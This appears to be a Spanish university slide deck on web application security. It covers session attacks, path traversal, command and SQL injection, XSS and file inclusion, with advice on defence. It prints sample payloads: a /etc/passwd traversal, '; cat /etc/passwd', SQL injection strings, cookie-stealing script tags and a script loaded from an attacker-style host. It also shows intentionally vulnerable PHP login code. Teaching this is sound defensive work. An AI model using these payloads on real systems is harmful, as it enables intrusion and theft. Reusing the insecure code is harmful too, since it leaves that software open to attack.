  • 10. Que puedo atacar? ● Vulnerabilidades del servidor web – Cada vez más complejos – Muy revisados por ser los programas más expuestos – Sus vulnerabilidades se corrigen rápidamente ● Vulnerabilidades del navegador – Programas muy complejos – Las vulnerabilidades duran más ● usuarios no siempre actualizan ● El código generando paginas – Muchas veces escrito de forma poco profesional – Normalmente input validation de muchos tipos
  • 11. Que puedo atacar? ● La autenticación y autorización – Ataques a los mecanismos de sesiones y autenticación ● El código en el cliente – Código inyectado al cliente ● desde otros sitios ● en el enlace ● Gusanos de javascript ● …
  • 13. Indice de ataque ● Seguridad en WWW – Seguridad en la autenticación – Seguridad en la autorización – Ataques de validación de entrada – Cross-site scripting
  • 15. Authorization ● Usando sesiones en un sistema pensado para ser “sin estado” – El usuario se autentifica en una pagina – a continuación navega por el sitio usando los privilegios ganados – El sistema debe recordar que se autentifico ● ¿Como se sabe que la petición esta relacionada con la autenticación inicial? – Estoy enviando la autenticación cada vez? ● en Basic y Digest: SI – El cliente consigue algo que puede presentar cada vez como prueba de autenticación ● token Cliente Navegador Servidor Web user: pass: GET login page POST u+p ok welcome [comprar] GET compra ok
  • 16. Sesiones ● 3 formas de mantener tokens y sesiones – Variables de URI ● Se genera un identificador de sesión aleatorio y en los enlaces de esa sesión se pasa como variable de GET – Variables de formularios ocultas (y formularios con POST) ● Se genera un identificador de sesión aleatorio y en las páginas de esa sesión se añade una variable oculta a los formularios – Cookies ● Permiten almacenar una variable en el cliente que la enviará de vuelta cada vez que pida una página de ese servidor http://miweb.com/compras/index.php?session_id=1263716221 <input type=HIDDEN name=session_id value=1263716221>
  • 17. Sesiones: ejemplo ● Tokens – Identifican la sesión a la que pertenece la petición ● Autorización – Procesa las peticiones de los tokens establecidos user+pass+sid=1001 Cliente Navegador Servidor Web user: pass: welcome [comprar] welcome [comprar] Cliente Navegador sid=1001 sid=1001 sin sid user: pass: sid=3106 sid=3106 producto+sid=1001 sid=1001 sin sid user: pass:
  • 18. Sesiones: ejemplo en PHP ● Pagina sencilla con autenticación ● Si la sesión ya existe la variable $dentro nos dice si el usuario ya ha demostrado su identidad o no ● Si vienen datos user, pass de un formulario podemos cambiar el valor de $dentro o bien apuntar que debemos dar error de intento no valido ● Si la sesión no existía se generara un id y se guardara en una cookie PHPSESSID <?php session_start(); $dentro=$_SESSION['dentro']; $user=$_POST['user']; $pass=$_POST['pass']; if ( isset($user) ) { if ( $user=="yo" and $pass=="pas" ) { $dentro=1; $_SESSION['dentro']=$dentro; } else { $wronglogin=1; } } ?>
  • 19. Sesiones: ejemplo en PHP ● El contenido de la página depende de las variables ● ¿Qué problemas tiene esta página? <?php if ( $dentro == 1 ) { ?> <h1>Pagina privada</h1> No deberias ver esto sin tener la contraseña ... <?php } else { ?> <?php if ( $wronglogin==1 ) { echo "<h1 style="color: red;">Error usuario o contraseña incorrecto</h1>"; } ?> <h2>Demuestre su identidad</h2> <form method=POST action=./index.php> User:<br><input type=text name=user><br> Password:<br><input type=password name=pass> <br> <input type=submit name=s value="Enter"> </form> <?php } ?>
  • 21. Sending cookies ● Al pedir la primera vez la página anterior ● Al pedirla otra vez GET /login.php HTTP/1.1 Host: www.unavarra.es [...] HTTP/1.x 200 OK Set­Cookie: PHPSESSID=7855b7336334942b8d8e7315eebe57f9; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Content­Length: 414 Content­Type: text/html [...] POST /login.php HTTP/1.1 Host: www.unavarra.es Cookie: PHPSESSID=7855b7336334942b8d8e7315eebe57f9 Content­Type: application/x­www­form­urlencoded Content­Length: 28 user=minombre&pass=unapalabra HTTP/1.x 200 OK Content­Length: 481 Content­Type: text/html [...]
  • 22. Ataques a los tokens ● Pero la cookie que se envía esta bajo el control del usuario – Navegadores que dejan editarlas – Si envío la cookie de la sesión de otro usuario me convierto en ese usuario ● Ataques – Session prediction ● ¿Puedo predecir qué tokens se estarán usando? – Session hijack ● secuestro de sesión ● ¿Puedo robar un token a un usuario autentificado? ● Session fixation – ¿Puedo imponer un token a un usuario? ● ¿Para qué me vale?
  • 23. Ataques a los tokens ● Session prediction – Recoger gran cantidad de tokens – Análisis estadístico.. ● ¿se puede preveer información sobre los siguientes? – Fuerza bruta sobre los tokens más probables hasta encontrar uno que haya sido asignado a un usuario y se haya autentificado ● Session hijack (secuestro de sesión) – Puedo robar un token a un usuario autentificado? ● Multiples técnicas. Basadas en web o con técnicas de intrusión Servidor Web token=1001 token=1001
  • 24. Ataques a los tokens ● Session fixation – Puedo imponer un token a un usuario? – Si consigo que un usuario abra la sesión con el token que yo quiera... Servidor Web token=1001 token=1001 autentificacion con token=1001
  • 25. Consejos para programar webs seguras ● Usar SSL / HTTPS – Marcar cookies como seguras hace que solo se transmitan a través de conexiones HTTPS ● No programar tu sistema de tokens – Es muy fácil cometer errores de protocolo – usar los proporcionados por librerías seguras ● usar sesiones de PHP en lugar de hacerlas yo mismo ● Regenerar las sesiones con los cambios de privilegios – Para evitar session fixation
  • 27. Input validation contra Web ● Ataques básicos – Canonicalization ● Añadir ../ para bajar directorios en una variable que acabara siendo utilizada para calcular un path ● Uso de caracteres urlencoded %00 %0a para partir cadenas ● Ejemplo: ${nombre}.jpg puede transformarse en ../../../../../../../etc/passwd %00.jpg – Provocar errores con valores inesperados en campos ● Información en los mensajes de error ● Ejecución de comandos con | & ; ● Si los datos acaban formando parte de un comando a ejecutar – Ejemplo: añadir ; cat /etc/passwd – SQL injection
  • 29. SQL injection ● Ataque de validación de entrada típico – Lo que escribo como usuario y pass en el formulario acabara en variables y se usara para construir una query a la BBDD ● Que ocurre si el usuario escribe cosas de este tipo – Usuario: 1' or '1'='1 – Pass: 1' or '1'='1 SELECT * FROM login WHERE user='1' OR '1'='1' AND pass='1' OR '1'='1'; $user = $_POST['user']; $pass = $_POST['password']; SELECT * FROM login WHERE user='$user' AND pass='$pass';
  • 30. ● Buscando el usuario… ● Cuidado con los fallos de seguridad de este código… – Si usáis este cualquiera podrá entrar $login_usuario_ok=false; if ($entrada_login) { $consulta_usuario="select * from Personas where nombre="".$i_nombre."" and pass="".$i_pass."""; $result_usuario=mysql_query($consulta_usuario); if ( $result_usuario==false ) { print("error al buscar usuario".mysql_error()."n"); exit(); } if (mysql_num_rows($result_usuario)>0) { $mi_info=mysql_fetch_assoc($result_usuario); $login_usuario_ok=true; print_r($mi_info); } } Ejemplo: chat.php
  • 31. ● Que pasa si ponemos un usuario como este? ● La consulta devuelve todos los usuarios !!! ● Que hace el código anterior si la consulta devuelve todos los usuarios? simplemente usa el primero !! usuario: xxx” or “1”=“1 pass: xxx” or “1”=“1 SQL injection “select * from Personas where nombre="".$i_nombre."" and pass="".$i_pass."" select * from Personas where nombre="xxx” or “1”=“1" and pass="xxx” or “1”=“1"
  • 32. ● Si lo que llega del usuario se supone que tiene que ser texto sin “ ‘ o caracteres raros, asegurare de eliminarlos – Con str_replace o similares – Con funciones de mysql que quitan los caracteres peligrosos ● mysql_real_escape_string() Recuerda siempre $i_nombre = mysql_real_escape_string( $i_nombre );
  • 33. ● Lo mismo ocurre en los campos de entrada ● Cuidado si el atacante sabe mas SQL que tu :-) $recibiendo_userid=false; if ( isset( $_GET["i_userid"] ) ) { $recibiendo_userid=true; $i_userid=$_GET["i_userid"]; } … $consulta="select * from Mensajes, Personas where Mensajes.src_nia=Personas.nia and Mensajes.src_nia=".$i_userid; Mas inyección SQL i_userid=52403 i_userid=52403+(select+2>1) i_userid=52403+union+select+pass+from+users;
  • 34. ● Si lo que llega del usuario se supone que tiene que ser un número conviértelo a número – Aunque venga de un menu Recuerda siempre $i_userid = intval($i_userid);
  • 35. SQL injection ● Más variedades – Poner caracteres con significados para SQL como ' " -- ; – pueden llegar a romper la query y conseguir cosas – A veces sólo con producir errores que den información de la base de datos ya es algo – Técnicas más sofisticadas que obtienen información incluso aunque no salgan resultados de la query en la pagina ● Blind SQL injection
  • 37. HTML injection XSS ● Insertar código HTML en variables que no esperan HTML, causando que un atacante tenga control sobre el dibujo de una página ajena ● Una página que repite la información proporcionada en un campo puede ser vulnerable ● ¿Qué ocurre si ponemos código HTML?
  • 38. HTML injection XSS ● Probamos – <img src=”...”></img> ● El HTML no se elimina y llega de vuelta – Dominando HTML se pueden llegar a hacer muchas modificaciones – Incluyendo añadir secciones con posicionamiento vía CSS que oculten otras partes de la pagina original
  • 39. HTML injection XSS ● Pero es más peligroso si incluimos Javascript – <script>… document.cookie ...</script>
  • 40. HTML injection XSS ● Inyectar en un campo – <script>document.write(document.cookie)</script> – <script>alert(‘hola’)</script> – <script src=”http://evilscripts.com/do.js”></script> – Cualquier cosa que se pueda hacer con javascript puede hacerse en la página de otro ● Hasta ahora solo hemos visto como modificar una página de otro vista en tu navegador. – ¿Como se puede usar esto para hacer el mal?
  • 41. HTML injection XSS ● Si los datos que metemos en un formulario pueden pasarse por GET... ● http://www.unavarra.es/webmail.php?user=<script>... – Puedo construir una pagina que enlace a otra metiendo datos que la modifiquen (cross-site scripting) ● Y no hablamos ya de cuando ese HTML es persistente – Foros – Weblogs – Redes sociales ● Ampliamente usado para ataques a las cookies: – Hotmail – Gmail – facebook ● Usado robos de identidad – consiguiendo que la página de una entidad haga algo diferente – El usuario confia porque ve claramente que es su banco ● XSS cross site scripting – Se refiere a cuando cargamos el código javascript de otra pagina
  • 43. File inclusion ● Y si dejo a un usuario subir un fichero para que lo sirva el servidor? – Parecido al HTML mirroring… ● Es peligroso? – ¡¡¡Nunca dejar al usuario subir ficheros y que elija el nombre!!! – PHP inclusion – PhpShell !!!
  • 45. Conclusiones ● Validación de formularios con javascript es inutil – Se puede hacer por ayudar al usuario pero el servidor debe volver a validarlo ● No dar por supuesto nada sobre los datos de entrada – Expect the unexpected ● Limpiar con expresiones regulares ● Asegurarse de que solo hay lo que queremos
  • 46. Conclusiones ● Asegurarse de que solo hay lo que queremos
  • 47. Conclusiones ● Gran variedad de ataques contra la web – Contra la autenticación y autorización – Contra los servidores que alojan las páginas – Contra otros usuarios de los servidores ● Es el frente más atacado – es fundamental comprender en que se basan para poder defenderse